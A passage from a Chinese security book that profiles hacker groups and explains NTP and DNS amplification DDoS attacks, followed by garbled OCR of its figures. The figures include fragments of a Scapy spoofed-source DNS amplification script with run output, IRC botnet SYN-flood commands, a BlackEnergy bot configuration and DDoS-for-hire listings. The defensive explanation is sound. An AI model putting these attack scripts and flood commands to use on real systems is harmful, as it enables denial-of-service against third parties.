Icefog是跨国高端黑客团体，该组织成员来自世界各地，每个成员都具有精湛的技术，能够发起复杂的攻击。该组织非常专业，每次攻击都签订相应合同，能够履行合同中的要求，严格遵守合同制度。Icefog组织主要目标是针对政府和军事机构进行APT（Advanced Persistent Threats，高可持续性威胁）攻击，渗透他们的网络中来窃取敏感数据，如F-16战斗机使用的雷达干扰系统、F-15的抬头显示器等。目前已知受到Icefog组织攻击的机构如电信运营商、卫星运营商、国防承包商等。其中典型的就是Selectron Industrial，该公司专门为韩国、日本等国家的国防工业提供产品数据。Icefog组织常用的手段是利用社会工程学技巧来欺骗受害者，比如网络钓鱼等。该团队擅长收集用户的敏感信息、文件、公司发展蓝图、邮件账户等，并且使用一个特制的后门工具包：Fucobha，其中包含了针对Microsoft Windows和Mac OS X的数个溢出攻击脚本。

C.4　知名个人黑客

“个人黑客”是媒体报道的最爱，一个在网络世界里无所不能的英雄或恶魔，的确更吸引观众的眼球。然而，随着产业发展成熟，分工越来越细。“攻防过程”中的不同阶段，需要的技能也越来越专。“黑客”们有的擅长挖掘漏洞，有的精于开发工具，有的专注实施攻击。有组织的支持才能发挥更大的作用，“个人黑客”也近乎绝迹了。

1.凯文·米特尼克

凯文·米特尼克（Kevin David Mitnick），1963年出生于美国洛杉矶，被称为“世界头号黑客”。凯文·米特尼克15岁时成功破解“北美空中防务指挥系统”，次年被逮捕，他也因此成为全球第一名网络少年犯。1994年，米特尼克向圣迭戈超级计算机中心进行入侵与攻击，并戏弄了在此工作的日裔美籍计算机安全专家下村努，盗走了他计算机中的文件，还使用会话劫持技术盗走他的网站的流量。后来下村努使用蜜罐技术设立“蜜罐”让米特尼克中计，用“电子隐形化”技术进行跟踪，结果1995年米特尼克再次被逮捕。2002年，凯文·米特尼克获得了彻底的自由，其现在的职业是网络安全咨询师，出版过《欺骗的艺术》和《入侵的艺术》两本书。

2.莫里斯

罗伯特·泰潘·莫里斯（Robert Tappan Morris），1965年出生于美国，他的父亲为贝尔实验室计算机安全专家，他16岁上初中时，就曾发现UNIX系统漏洞，1983年考入哈佛大学，拿到了文学学士学位。莫里斯是第一个在互联网上散布电脑病毒的人，被誉为“病毒之母”。1988年冬天，正在康乃尔大学攻读的莫里斯把一个被称为“蠕虫”的电脑病毒送进了美国最大的电脑网络——互联网。1990年5月5日，纽约地方法庭根据莫里斯设计病毒程序，造成包括国家航空和航天局、军事基地和主要大学的计算机停止运行的重大事故，判处莫里斯3年缓刑，罚款一万美元，义务为新区服务400小时。莫里斯是首位遭到反黑客行为法（anti-hacking law）指控的黑客，该法案认定入侵联邦计算机系统为非法。莫里斯事件震惊了美国乃至整个世界。

C.5　漏洞挖掘和交易机构

漏洞是“黑客技术”中最关键的部分，无论对于官方还是地下组织，拥有的0day漏洞直接代表了攻防能力的强弱。与军工企业类似，美国和欧洲已经逐步将漏洞挖掘产业化，生产和收购都有着正规合法的流程。这样做的优势是多方面的：首先，国家有稳定而高质的渠道，能够得到较先进的漏洞或利用工具；其次，IT产业在这样的促进中会努力提高自身安全水平，更有竞争力，例如2013年11月5日微软就将漏洞赏金提高至10万美元；最后，擅长漏洞挖掘的“黑客”可以从合法渠道获得收益，有利于专注提升技术能力，形成VUPEN这样的高水平组织。

1.VUPEN

VUPEN是一家法国公司，专注于漏洞研究并出售这些漏洞以获利。他们声称具备世界一流的研究人员，所销售的漏洞情报均为自主研究的成果，不充当第三方的经纪人。VUPEN同时研究攻击和防御技术，其成果可以用于国家级机构的进攻任务和防御。其主要客户是各国政府和大型企业。2011年3月，VUPEN参加黑客竞赛Pwn2Own，并利用当时未知的漏洞率先攻克苹果公司的Apple Mac OS X。2012年，VUPEN在Pwn2Own又首先突破Google Chrome和微软的IE浏览器，并在24小时内现场开发源代码，侵入Windows和Mac OS平台的IE、FireFox和Safari浏览器。2013年，在同一竞赛中，VUPEN继续保持领先地位，率先攻克安装Windows 8系统和IE 10浏览器的Microsoft Surface Pro。2013年纰漏的一份文件显示，美国国家安全局（NSA）在2012年9月14日订阅了VUPEN一年的0day服务。 
[1]



2.ZDI

ZDI（Zero Day Initiative）是由安全公司TippingPoint于2005年创建，进行漏洞研究奖励（收购）的一个机构。在此之前，漏洞交易通常是在“地下市场”或私人之间进行交易，缺乏公开的渠道。ZDI为大量技术高超的“白帽”安全人员提供了一个良好的平台，即使价格低于“地下市场”，但更多的漏洞挖掘爱好者也愿意在这里进行交易。TippingPoint会根据这些漏洞加强自身产品，同时按照“Disclosure Policy”分别通知漏洞产品的厂商、自己的客户，以及其他安全厂商。


[1]
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附录D　NTP和DNS放大攻击详解

D.1　NTP放大攻击

在2013年发生的众多DDoS攻击事件中，针对反垃圾邮件组织Spamhaus的大规模DDoS攻击依然令人记忆犹新。攻击者向大量开放DNS解析器进行了域名查询，并将源IP地址伪造成Spamhaus的IP地址，利用DNS放大技术，对攻击流量进行了约100倍的放大，使攻击流量达到了惊人的300Gbit/s。如此巨大的攻击流量对Spamhaus造成了比较严重的影响，甚至拖慢了局部互联网的访问速度。

300Gbit/s的攻击流量已经很难应对了，如果攻击流量达到2Tbit/s（约2100Gbit/s）会发生什么呢？如果攻击者利用NTP服务器进行放大攻击，这样的灾难就有可能发生。

NTP（Network Time Protocol，网络时间协议）是用来使计算机时间同步化的一种协议，它可以使计算机与时钟源进行同步化并提供高精准度的时间校正，NTP使用UDP 123端口进行通信。

在NTP协议的服务器实现上，通常会实现一系列Mode 7的调试接口，而接口中的monlist请求能够获取与目标NTP服务器进行同步的最后600个客户端的IP地址等信息。这意味着，只需要发送一个很小的请求包，就能够触发大量连续的包含IP地址信息等数据的UDP响应数据包。

实际上，monlist请求返回的数据量与一段时间内和NTP服务器交互的客户端数量有关。如果NTP服务器与大量的客户端进行交互，那么一个不超过64个字节 
[1]

 的请求数据包就能够触发100个482个字节的响应数据包。如图D-1所示。
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图D-1　NTP服务monlist的请求和响应

由于NTP服务使用的是UDP单包通信，因此与DNS放大攻击类似，攻击者可以通过伪造IP源地址的方式进行NTP放大攻击，将攻击流量放大700倍 
[2]

 ！

绿盟科技近期对世界范围内的NTP服务器进行了扫描和监控，发现40多万台NTP服务器能够被利用进行NTP放大攻击（见图D-2）。
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图D-2　NTP放大器的分布情况

在这些放大器中，放大倍数在700以上的NTP服务器数量超过1000台（见图D-3）。
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图D-3　放大倍数700以上的NTP放大器的分布情况

放大倍数在100以上的NTP服务器数量超过6000台（见图D-4）。
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图D-4　放大倍数100以上的NTP服务器分布情况

放大倍数在10以上的NTP服务器超过4万台（见图D-5）。

[image: ]


图D-5　放大倍数10以上的NTP服务器的分布情况

从目前的数据来看，并不是所有的NTP放大器都能够将流量放大700倍以上，因此整体的平均放大倍数并不太高。然而，攻击者可以利用技术手段，轻易地将任何一台NTP放大器的放大倍数提高到700以上。

在前文已经提到，monlist请求返回的数据量与一段时间内和NTP服务器交互的客户端数量有关，并且NTP服务使用的是UDP单包通信，因此攻击者可以将伪造源IP地址的UDP请求包发送给NTP放大器，伪造客户端与NTP服务器的交互，增加“和NTP服务器交互的客户端的数量”，以此来增加monlist请求的响应数据量并增大NTP放大器的放大倍数，如图D-6所示。
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图D-6　利用伪造源IP地址的请求增大放大倍数

只要向NTP放大器发送600个不超过64个字节的请求包（约40KB数据），就能够快速地将NTP放大器的放大倍数提高到700以上，并在该服务器的NTP服务关闭或重新启动之前一直保持这么大的放大倍数（见图D-7）。

利用这种方法，全世界范围内的40多万台NTP放大器都能够轻易地变成放大倍数超过700的放大器，攻击者利用这些NTP放大器即可发动规模空前的DDoS放大攻击。我们知道，在针对Spamhaus的DDoS攻击中，DNS放大的倍数约为100，攻击的流量达到了300Gbit/s；而如果攻击者使用NTP放大攻击，并将全部NTP放大器的放大倍数提高到700以上，那么同样规模的僵尸网络将能够产生7×300Gbit/s=2100Gbit/s的放大攻击流量，如此大流量的DDoS攻击是非常难以防护和缓解的。
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图D-7　NTP服务器的monlist响应数据已增大

事实上，在从2013年12月底到2014年1月初的这一段时间内，攻击者已经逐渐开始使用这种攻击技术，League of Legends、EA和Steam等游戏公司都遭到了以NTP放大攻击为主要攻击流量的DDoS攻击（见图D-8）。
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图D-8　DDoS攻击流量比例 
[3]





虽然目前的攻击流量还没有达到2T的级别，但如果网络和服务器的管理员不采取必要的措施，攻击流量非常有可能会不断增大，危害局部甚至整个互联网。

与开放DNS解析器一样，公开的NTP服务器也同样需要进行有效的管理和配置。建议全部的NTP服务软件升级到最新版本，并通过在配置文件中添加noquery参数来限制客户端的monlist等信息查询请求 
[4]

 。

相比于开放DNS解析器，如果公开的NTP服务器不进行有效管理和配置，将会给整个互联网带来更加严重的危害。

D.2　DNS放大攻击

与NTP放大攻击相似的是DNS放大攻击，而相比前者，后者见诸于报道的频率更大。2013年3月初，黑客针对安全组织Spamhaus（反垃圾邮件）的DDoS攻击中，尽管有专业的云安全厂商CloudFlare为其提供DDoS防御服务，但高达300Gbit/s的攻击峰值也让CloudFlare几临崩溃。而事后的调查显示这次攻击所用的手段就是DNS放大攻击。

面对众多的此类攻击事件，我们不禁要问：黑客是怎么实施这类放大攻击的或者说成功进行此类攻击的条件是什么？该怎么防御这种攻击？

下面笔者通过一个测试，从攻击者的角度来帮助理解这些问题。测试演示的是DNS放大攻击（见图D-9）。
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图D-9　DNS放大攻击测试演示

搭建的测试用DNS服务器信息如图D-10所示。
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图D-10　测试用DNS服务器信息

D.2.1　攻击测试

在开始之前，先看图D-11中简化后的攻击图示。
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图D-11　简化后的攻击图示

要完成上述攻击，攻击者需要具备什么条件才能向目标开火呢？我们知道要实施攻击（将数据引向攻击目标），这里有一个前提，就是必须能伪造DNS查询的源IP。我们看一个普通的DNS查询（A记录）示例（见图D-12）。
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图D-12　DNS查询示例

对应的DNS结构如图D-13所示。
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图D-13　对应的DNS结构

可以看到，对于单次查询，其回复的目的地靠的仅是框中标示的ID（0x0002），而对源IP合法与否并没有相应的验证措施，即DNS的这种模式允许我们把查询包中的IP源设置为任意IP地址，至此满足了攻击实施的最重要前提条件。

回头再看图D-12框线中的部分，可以看到，虽然查询和响应的数据大小不对称，但两者相差不大（不足两倍），这对于实际攻击活动所需要的放大倍数还远远不够。实际上就算我们把UDP包传输大小提升至512个字节，放大倍数最大也就7左右。

根据RFC1035中定义的DNS消息格式以及所能支持的内容长度，UDP包传输大小被限制为512个字节，超出的部分将被截断，或丢弃或使用TCP协议重传（端口仍为53）。

显然我们必须寻找一种扩充响应包大小的方式，即下面要提到的EDNS机制。

最新修订的RFC2671中提出了一种扩展DNS的机制：EDNS（Extension Mechanisms for DNS），并在其中推荐了一种传递包大小的EDNS0。在EDNS0中，扩展了DNS数据包的结构，增加了OPT RR字段。在此字段中包含了客户端能够处理的最大UDP报文大小信息。服务端在响应DNS请求时，解析并记录下客户端能够处理的最大UDP报文大小，并根据该大小生成响应的报文。它使我们的UDP包传输即使大于512个字节而仍然可以采用UDP协议。

图D-14展示的是测试的日志反馈（TXT记录）。
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图D-14　日志反馈

可以看到（第一个框），这台启用EDNS机制的DNS服务器所支持的最大UDP传输大小为1280个字节，查询反馈的大小是1055个字节（突破了512个字节的限制），但仍采用的是UDP协议（注意第二个框）。对应的数据包如图D-15所示。
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图D-15　数据包

实际攻击中我们可以通过配置DNS服务器使UDP传输大小扩充至4096个字节，也即放大倍数可以为60左右。ENDS机制的引入使DNS放大攻击所需倍数得到了保证。

如果只有前两个条件而我们不能找到大量反射源（大量开放查询服务的第三方DNS服务器），攻击仍很难立竿见影。这主要是因为如果反射源很少的话，受攻击方就可以通过黑名单机制屏蔽攻击源，丢弃攻击数据。

那网络上开放查询服务的第三方DNS服务器多吗？我们知道DNS作为互联网至关重要的基础设施，为了尽可能保证网络畅通，许多大型机构或公司对外都提供免费的DNS服务，如Google公司的8.8.8.8等，区别在于它们提供的反射倍数有大有小。

图D-16是我们扫描互联网上开放查询服务的第三方DNS服务器（总数380多万台）后获得的放大倍数统计。
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图D-16　互联网上开放查询服务的第三方DNS服务器

其中放大倍数为Perfect的DNS服务器IP分布，如图D-17所示。
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图D-17　放大倍数为Perfect的DNS服务器IP分布

综上可以看到能进行放大攻击的服务器数占到了32%，其中有24%的服务器放大倍数达到了完美，而且这些服务器地域分布也非常广泛，这样就有了可利用的众多攻击源。

最后我们还得保证攻击链条中所涉及的DNS服务器均开启了递归查询功能，使查询请求层层深入，而不能中断于某个环节。大多数DNS服务器默认开启递归功能。

总结上面提到的条件：

·首先，能做到伪造源IP，即要攻击的目标。DNS协议的这种设计缺陷，使伪造工作变得非常容易。

·其次，要达到更好的放大效果，还需要所选的DNS服务器支持EDNS扩展机制，以突破512个字节的限制。

·然后，需要拥有一份开放查询服务的第三方DNS服务器列表。这可通过相应的端口扫描工具获得。

·最后，需要攻击链条中涉及的DNS服务器开启了递归查询功能。

满足了上述条件，就可以通过构造脚本使这种攻击自动化。

图D-18展示的是测试用脚本运行情况。

[image: ]


图D-18　测试用脚本运行情况

关键代码如下：
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脚本使用Python编写，并使用了第三方Scapy库。Scapy对DNS的解析如图D-19所示。
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图D-19　Scapy对DNS的解析

攻击中捕获的数据包如图D-20所示。
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图D-20　捕获的数据包

当然前面测试显示的攻击倍数还不是非常理想。实际的攻击拓扑往往如图D-21所示（这里省略了对DNS根服务器及其相关服务器的查询请求）。
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图D-21　典型DNS反射攻击拓扑图

黑客向第三方DNS服务器投递的查询数据中，查询的区域（相当于这里的a.com）往往指向由其控制的DNS服务器。黑客在这台被控制的服务器上开启EDNS机制并构造TXT记录使查询响应反馈的数据尽可能大（可至4096个字节），且使用UDP协议。

D.2.2　防御建议

加固反射源：

·对开放查询服务的DNS服务器作限制，只对可信的区域主机提供解析服务。

·强制某些DNS查询类型（如TXT、ANY）使用TCP传输。并对单个源IP的查询速率做限制。

·采用最小化权限并及时更新补丁，以免落入黑客之手。

对于被攻击目标：

由于DNS放大攻击仍属于流量型攻击的一种，可以使用Anycast技术对攻击流量进行稀释和清洗。


[1]
 请求数据包的大小是50个字节，但在网络上传输时一般会被填充到64个字节。


[2]
 请求数据包以64个字节计算，放大倍数为482*100/64=753。如果按照Cloudflare的计算方法，只计算UDP数据的部分，那么放大倍数会更大：请求的UDP数据为8个字节，响应的UDP数据为440个字节，放大倍数为440*100/8=5500。


[3]
 http://arstechnica.com/security/2014/01/dos-attacks-that-took-down-big-game-sites-abused-webs-timesynch-protocol/


[4]
 http://support.ntp.org/bin/view/Support/AccessRestrictions
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2013-10-13 results

34014486 total responses to udp/53 probe

31528267 unique IPs

313339 IPs responded more than once

2530586 servers responded from a different IP than probed

28670400 gave the correct answer to the A? for the DNS name queried
16382035 responded from a source port other than udp/53

29498617 responses had recursion-available bit set

20922211 returned OK (RCODE=0)
5156 returned FORMERR (RCODE=1)
630721 returned SERVFAIL (RCODE=2)
227498 returned NAMEFAIL (RCODE=3)
318 returned NOTINP (RCODE=4)
3226142 returned REFUSED (RCODE=5)
9531 returned TC=1
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Open Resolvers pose a significant threat to the global metwork infrastructure by mnsvering recursive queries for hosts outside of its donain. They are utilized in
DHS Amplification attacks and pose a sinilar threat as those from Smaf attacks comonly seen in the late 1990s.

Ve have collected 2 1ist of 58 nillion resclvers that respond to queries in some fashion 28 million of these pose a significant threat (as of 25-TAY-2013).
tailed e

Check my TP space

Search my IP space (eg: 192.0.2.0/24 = searches “large:r” than /22 will be rejectsd)

ipvd-heatnsp of 20130519 data heatnay archive
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TOP- DDOS Service (Support)

Order a ddos attack! Removable poster competition
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Cost of hiring DDoS service

Price ($) | Duration (h) | Bandwidth (Mbps)
20 2 45
30 6 45
50 12 45
70 24 45
75 24 100

250 24 1000
100 24 1000
600 168 1000
900 24 4750
5500 168 4750
1000 24 4750
6000 168 4750
400 5 5000
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M outbound  Current: 49.63 G Average: 57.51 G Maximum: 80.33 G





OEBPS/Image00106.jpg
Terms Of Service

All payments and transactions will be privately and anonymously. Best and safe for
both of us.

Targets and clients will be anonymous under any circumstances.

Prices per hour may depend on your target. Price starts 103 per hour to 100$ per
hour depending on how Huge or Protected the target is.

¥e only accept serious clients that means business, for those who doubt and don’ t
trust our service, please don’ t waste your time and our time by contacting us.

We are only providing demo for old clients, this is to avoid time wasters who
abuse the service.

Refunds will only be granted once the target has been switched or moved to a
protected environment which we are not capable of taking down.
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Home NewsFeed US.  Politics

World

Business

TIME

Magazine

Tech  Health Science

CurrentIssue  Archive Covers = 10 Questions

PANIX ATTACK

pt. 30, 1996

By Josh Quitiner ~ Monday

¥ Subscriber content preview. Subscribe now or Log-n

+ Share

Subscribe

It was Friday night, and Alexis Rosen was about to leave work when one of his computers sent him a
piece of E-mail. If this had been the movies, the message would have been presaged by something
dramatic--the woo-ga sound of a submarine diving into combat, say. But of course it wasn't. This was
a line of dry text automatically generated by one of the machines that guard his network. It said
simply, "The mail servers are down."” The alert told Rosen that his 6,000 clients were now unable to

receive E-mail.

Rosen, 30, is a cool customer, not the type...
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Vote for next target of Operation Payback

Please place your vote for the next Target of #0perationPayback. You can follow @AnonOpshet on twitter to know
when to strike the target.

@AnonOpsNet will give the go

+ Required

Mext target for Operation Payback +
® Amazon

® Hastercard

® Visa

® On.nl

® Honeybookers

o other:

How it works?

The top vote will be the next target. Unless there are enough bots then Amazon will be excluded and the Second
highest vote will then be the Target. Once that Target is selected then another vote will go into affect and the
previous target will be removed. The top 3 "Other” votes will be added to the list.

Vote to see summary of responses
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No. Time Source Destination Protocol Length Info

152 685 192.168.65.150 192.168.65.100 DNS 76 standard query 0x77ec TXT a.com
155 685 192.168.65.100 192.168.65.150 DNS 1098 standard query response 0x77ec TXT
196 687 192.168.65.150 192.168.65.101 DNS 76 standard query 0x2293 TXT a.com
199 689 192.168.65.150 192.168.65.100 DNS 76 standard query O0x7e6c TXT a.com
200 689 192.168.65.100 192.168.65.150 DNS 1098 standard query response Ox7e6c TXT

Frame 200: 1098 bytes on wire (8784 bits), 1098 bytes captured (8784 bits) on interface 0
@ Ethernet II, Src: vmware_33:35:64 (00:0c:29:33:35:64), Dst: vmware_2d:44:65 (00:0c:29:2d:44:65)
# Internet Protoc(ﬂ Version 4, Src: 192.168.65.100 (192.168.65 100), Dst: 192.168.65.150 (192.168.65.150)

Port: domair

[ Domain Name System (response
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H Anonymous

Anonymous is for Freedom !

"Clashes started again in whole Turkey. Just Share this link:
http://bit.ly/opTurkey"

We are Anonymous.
We are Legion.... See More

#opTurkey Information Center

Like - Comment * Share 12,618 (654 (3736
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2600net hacker | ) #n

_a|[@hacker
[W]92488126

*%% Now talking in #n

*%x% calico.26808.net sets mode: +nt
=xx [W]92488126 has joined #n
<hacker> .login hi

<[W]92488126> [MAIN]: Password accepted.g
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= \Onslookup
efault Server: ns.a.com

ddress: 192.168.65.100

> set q=ns
> a.com

erver: ns.a.com

ddress: 192.168.65.100

a.con  nameserver = ns.a.com
s.a.con internet address = 192.168.65.100
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Stream Content

NICK [w]90947758

USER ozunaegh 0 0 :[w]90947758
:calico.2600.net NOTICE AUTH :#¥¥
:calico.2600.net NOTICE AUTH :¥¥¥
:calico.2600.net NOTICE AUTH :¥¥¥
:calico.2600.net NOTICE AUTH :¥¥%
PING 803713532

PONG :1893713532

JOIN #n .n.

Looking up your hostname...
Checking Ident

Couldn't look up your hostname
No Ident response
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DNSHi55 %% ( Windows 2003 Server)
1P:192.168.65.100

XH: a.com

it
1P:192.16865.50

Hr
1P:192.16865.150
PORT: 44444
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2500net hacker |(T) #in

<hacker> .synflood 192.168.65.150 80 30000
<[W]92488126> [SYN]: Flooding: (192.168.65.156:808) for 300800 seconds.
<[W]92488126> [SYN]: Done with flood (BKB/sec).
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Time Source Destination Protocol Length Info

40.412274 8.8.8.2 192.168.220.130 NTP 50 NTP version 2, private

70.827020 §.8.8.3 192.168.220.130 NTP 50 NTP Version 2, private
101.238646 8.8.8.4 192.168.220.130 NTP 50 NTP version 2, private
131.649176 6.8.8.5 192.168.220.130 NTP 50 NTP version 2, private
16 2.062677 8.8.8.6 192.168.220.130 NTP 50 NTP Version 2, private
20 2.470457 8.8.8.7 192.168.220.130 NTP 50 NTP version 2, private
24 2.683193 8.8.8.8 192.168.220.130 NTP 50 NTP version 2, private
283.293374 8.8.8.9 192.168.220.130 NTP 50 NTP version 2, private
32 3.706045 8.8.8.10 192.168.220.130 NTP 50 NTP version 2, private
364.113260 8.8.8.11 192.168.220.130 NTP 50 NTP Version 2, private
404.523882 8.8.8.12 192.168.220.130 NTP 50 NTP version 2, private
454.932559  §.8.8.13 192.168.220.130 NTP 50 NTP version 2, private
50 5.344984 8.8.8.14 192.168.220.130 NTP 50 NTP version 2, private
55 5.756791 8.8.8.15 192.168.220.130 NTP 50 NTP version 2, private
60 6.165728 8.8.8.16 192.168.220.130 NTP 50 NTP Version 2, private
65 6.579857 §.8.8.17 192.168.220.130 NTP 50 NTP version 2, private
70 6.988400 8.8.8.18 192.168.220.130 NTP 50 NTP version 2, private
767.401141 8.8.8.19 192.168.220.130 NTP 50 NTP version 2, private
82 7.809027 6.8.8.20 192.168.220.130 NTP 50 NTP version 2, private
88 8.220681 8.8.8.21 192.168.220.130 NTP 50 NTP version 2, private
94 8.631450 8.8.8.22 192.168.220.130 NTP 50 NTP version 2, private
100 9.040436  8.8.8.23 192.168.220.130 NTP 50 NTP version 2, private
106 9.453166 8.8.8.24 192.168.220.130 NTP 50 NTP version 2, private
113 9.864496  8.8.8.25 192.168.220.130 NTP 50 NTP version 2, private
120 10.275019 8.8.8.26 192.168.220.130 NTP 50 NTP Version 2, private
127 10.688308 8.8.8.27 192.168.220.130 NTP 50 NTP version 2, private
134 11.100033 8.8.8.28 192.168.220.130 NTP 50 NTP version 2, private
141 11.511059 8.8.8.29 192.168.220.130 NTP 50 NTP version 2, private
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|def exec_attack(nameserver,

#
##
##
##
##
##
#

0x01 A
0x02 NS
0%05  CNAME
0x0F MX
OxFF  ANY
0x10 TXT
0x29  OPT

lock.acquire() ;

ip = IP():

ip.src = attackdest;
ip.dst = nameserver;
udp = UDB() ;

udp.sport = attackport;

domainname,

attackdest,

attackport) :
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DDos Panel
Attack Method [ARIE

Layer 7

Bandwidth
Rapid GET
Rapid POST
Port RUDY
Slowloris
Slow POST
Duration: Combo
Layer 4
ECF
Amount of Bats: UDP
Browser
Browser Based
Cancellation
Browser Based Attacks
Layer4/Layer7 Based Attacks

Target
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[ root8Fedora dnsl# python dns_amp_flood. py
No route found for IPv6 destination

(no default route?)

Target IP Address
Target Port
Path to Name Servers
: Path to Domain Names
-t : Thread Num
Example Usage:

dns_amp_flood. py -a 1.2.3.4 -p 6666 -n /home/x/ns. list -d /home/x/dn. list -t 100

[ rootFedora dnsl# python dns_amp_flood. py ~a 132.168.65.150 ~p 44444 -n /home/c
a0zhihua/Downloads/dns/ns. txt -d /home/caozhihua/Downloads/dns/dn. txt -t 1
WARNING: No route found for IPv6 destination (no default route?)

[AUL checks have passed successfully.

Target : 192.168.65.150

Port : 44444

[Name Servers : /home/caozhihua/Downloads/dns/ns. txt
Domain Names i /home/caozhihua/Downloads/dns/dn. txt
[Thread Num t 1

Are you sure you want to execute this attack? (Y/N)y

WARNING: Mac address to reach destination not found. Using broadcast.
attack done!

[ root@Fedora dnsl#
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udp.dport = 53;

dns = DNS()

dns.id = RandShort():

dns.rd = 1

dns.arcount = 1;

dns.qd = DNSQR(qname = domainname, gtype = 0x10);

dns.ar = DNSRR(type = 0x23,rclass=4026);

p = ip/udp/dns;

sr(p,verbose = 0,timeout =
send (p, verbose = 0);

lock.release() ;
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Domain Name System (query)
Response In: 12

Questions: 1

Answer RRs: O

Authority RRs: 0

Additional RRs: 0

= Queries

= www.baidu. com. Tocaldomain: type A, class IN
Name: www.baidu.com. Tocaldomain
Type: A (Host address)
class: IN (0x0001)
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thacker!~hacker@220.231.27.150 PRIVMSG #n :.synflood 192.168.65.150 80 1
RIVMSG #n :[SYN]: Done with flood (OKB/sec).

RIVMSG #n :[SYN]: Flooding: (192.168.65.150:80) for 1 seconds.
thacker!~hacker@220.231.27.150 PRIVMSG #n :.synflood 192.168.65.150 80 10
RIVMSG #n :[SYN]: Flooding: (192.168.65.150:80) for 10 seconds.

RIVMSG #n :[SYN]: Done with flood (OKB/sec).
thacker!~hacker@220.231.27.150 PRIVMSG #n :.status

RIVMSG #n :[MAIN]: Status: Ready. Bot Uptime: od 1h 53m.
:calico.2600.net

:calico.2600. net
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1125 192.168.65.150 192.168.65.2 DNS [[85 btandard query [0X0002] A www.baidu.com. Tocaldomain
1225 192.168.65.2  192.168.65.150 DNS [I31 btandard query response CNAME www. a.shifen.com A 220.181.112.143
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BlackEnergy DDoS Bot

Server: |httpsjjsomehost.net/stat.php iEhbkig 10

Requestrate: [10  (inminutes) ICMP Size: [2000
B = SYN Freg: |10

oufle: [bot.exe HTTP Freq; [100
= ] | HTTP Threads: [3
[BlackEnergy Dbos Bat;ver 1.7 GwihFrr =] | | CF/10P Freat [50

UDP Size: [1000

TCP Size: 1000

Spoof IP's: Jo (1 - ON; 0 - OFF)
Build 1D; [BES9DS

Default command (i can't connect to server):

[wait

Execute after 30 minutes (0 - execute immediatly)
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Protocol |Length Info
DNS [ 76]standard query Ox5bdc TXT a.com

7 Standard guery re

No.  Time Source
45  192.168.65.50

Destination

<[ i

@ Frame 5: 1097 bytes on wire (8776 bits), 1097 bytes captured (8776 bits) on interface 0

@ Ethernet II, Src: vmware_33:35:64 (00:0c:29:33:35:64), Dst: vmware_cf:69:6e (00:0c:29:cf:69:6e)

@ Internet Protocol Version 4, sri 192.168.65.100 (192.168.65.100), Dst: 192.168.65.50 (192.168.65.50)
@ [User_Datagram protocol, Src Port: domain (53), DSt Port: 43570 (
® Domain Name System (response)
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Archive:
Length

191489

BlackEnergy DDoS Bot.zip

Date
09-30-07
09-30-07
06-14-07
06-20-05
06-05-07
05-11-07
02-27-07
06-05-07
06-04-07
06-04-07
06-04-07
06-04-07
06-04-07
01-23-07
06-04-07
10-11-06
06-06-07

Time

07:58
07:58
01:15
Afe1l
21:15
02:01
02:46
20:46
22:25
22:23
22:26
22:23
22:24
06:40
22:20
13:14
22:46

Name

BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy
BlackEnergy

17 files

DDoS
DDoS
DDoS
DDoS
DDoS
DDoS
DDOS
DDoS
DDoS
DDoS
DDoS
DDoS
DDoS
DDoS
DDoS
DDoS
DDoS

Bot/

Bot/1.7/
Bot/1.7/builder.exe
Bot/1.7/cadt.dll
Bot/1.7/calc.exe
Bot/1.7/crypt.exe
Bot/1.7/db.sql
Bot/1.7/pass.txt
Bot/1.7/www/
Bot/1.7/www/auth.php
Bot/1.7/www/cmdhelp.html
Bot/1.7/www/config.php
Bot/1.7/www/index.php
Bot/1.7/www/MySQL.php
Bot/1.7/www/stat.php
Bot/1.7/www/style.css
Bot/1.7/_bot.exe
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[caozhihua@Fedora ~1$ dig 8192.168.65.100 +bufsize=4096 +noanswer a.com txt

3 <<>> DiG 9.9.3-rl.156.01-Pl-RedHat-9.9.3-3. P1. fc17 <<>> 8192.168.65.100 +bufsize=4036 +noanswer a.com txt
;i (1 server found)

;3 global options: +cmd

;3 Got answer:

33 -)>HEADER((- opcode: QUERY, status: NOERROR, id: 55360

53 flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0O, ADDITIONAL: 1

33 OPT PSEUDOSECTION:
; EDNS: version: 0, flags:
i3 QUESTION SECTION:
ja. com. IN T

1280

;3 Query time: 7 msec
168. 65. 100#53(192. 168.65.100)
0 EST 2014






OEBPS/Image00043.jpg
Stream Content =

00000000 64 01 00 00 77 Q0 00 00
00000010 fd 56 29 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00
00000030 00 00 00 00 Q0 00 00 00
00000040 00 00 00 00 00 00 00 00
00000050 36 39 46 37 43 32 46 00 00 00 00 00 00 00 00 00 69F7C2F.
00000060 00 00 00 00 00 00 00 00 .

00000070 00 00 00 00 00 00 00 00
00000080 00 00 00 00 Q0 00 00 00
00000090 00 00 00 00 00 00 00 00
000000A0 00 00 00 00 Q0 00 00 00
00000080 00 00 00 00 Q0 00 00 00
000000C0 00 00 00 00 00 00 00 00
00000000 00 00 00 00 00 00 00 00
000000EQ 00 00 00 00 00 00 00 00
000000F0 00 00 00 00 00 00 00 00
00000100 00 00 00 00 00 00 00 00

RYHEALT

MS-OFEB4

00000110 00 00 00 00 00 00 00 00
Ll - - i YO . X T S A Kt
Od FiIGHUIHT 8 715U, KT 0500000003 Wi 4. %3 M st

g HTTP GET FLOOD ¥ ft 4 " 006wap.com

00000010 0a 00 00 00 07 00 00 00 00 00 00 00 00

00000160 00 00 00 00-07 00 00 00 Of 83 20 00
00000000 [25 00 00 00 03 00 00 00] 50 00 00 00 8e Ob 00
00 00
00000020 30 30 36 77 61 70 2e 63 6f 6d 00 2f 00

006wap. ¢ 6m./.
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